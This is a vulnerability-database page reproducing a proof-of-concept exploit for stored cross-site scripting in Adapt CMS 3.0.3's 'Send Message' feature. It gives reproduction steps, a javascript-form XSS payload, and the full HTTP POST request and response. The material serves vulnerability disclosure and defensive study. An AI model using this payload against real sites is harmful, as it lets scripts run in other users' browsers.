Lucene search
K

📄 Adapt CMS 3.0.3 Cross Site Scripting

🗓️ 03 Jun 2025 00:00:00Reported by Andrey StoykovType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 86 Views

Stored Cross Site Scripting in Adapt CMS 3.0.3 Send Message can execute scripts via crafted payload.

Code
# Exploit Title: Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
    # Date: 06/2025
    # Exploit Author: Andrey Stoykov
    # Version: 3.0.3
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    
    Stored XSS "Send Message" Functionality #1:
    
    Steps to Reproduce:
    
    1. Login as normal user and visit "Profile" > "Message" > "Send Message"
    2. In "Message" field enter the following payload "<form
    action="javascript:alert(1)"><input id="x" type="submit" /></form><label
    for="x">XSS</label>"
    3. The payload would execute upon viewing the message
    
    
    // HTTP POST request sending message
    
    POST /adaptcms/messages/send HTTP/1.1
    Host: 192.168.58.131
    Content-Length: 591
    Cache-Control: max-age=0
    Accept-Language: en-GB,en;q=0.9
    Origin: http://192.168.58.131
    Content-Type: application/x-www-form-urlencoded
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
    [...]
    
    _method=POST&data[_Token][key]=aabf09c7e75b47229d84deadd98c6ab65e87f979&data[Message][recipient]=admin&data[Message][title]=test&data[Message][message]=<form
    action="javascript:alert(1)"><input id="x" type="submit" /></form>
    <p><label
    for="x">XSS</label></p>&data[Message][parent_id]=0&data[Message][receiver_user_id]=1&data[_Token][fields]=a989058dd1dcaad53b324c3233dfc1e8f20ba411%3AMessage.parent_id%7CMessage.receiver_user_id&data[_Token][unlocked]=
    
    
    // HTTP Response
    
    HTTP/1.1 302 Found
    Date: Fri, 30 May 2025 19:01:10 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    Location: http://192.168.58.131/adaptcms/messages/index/outbox
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
86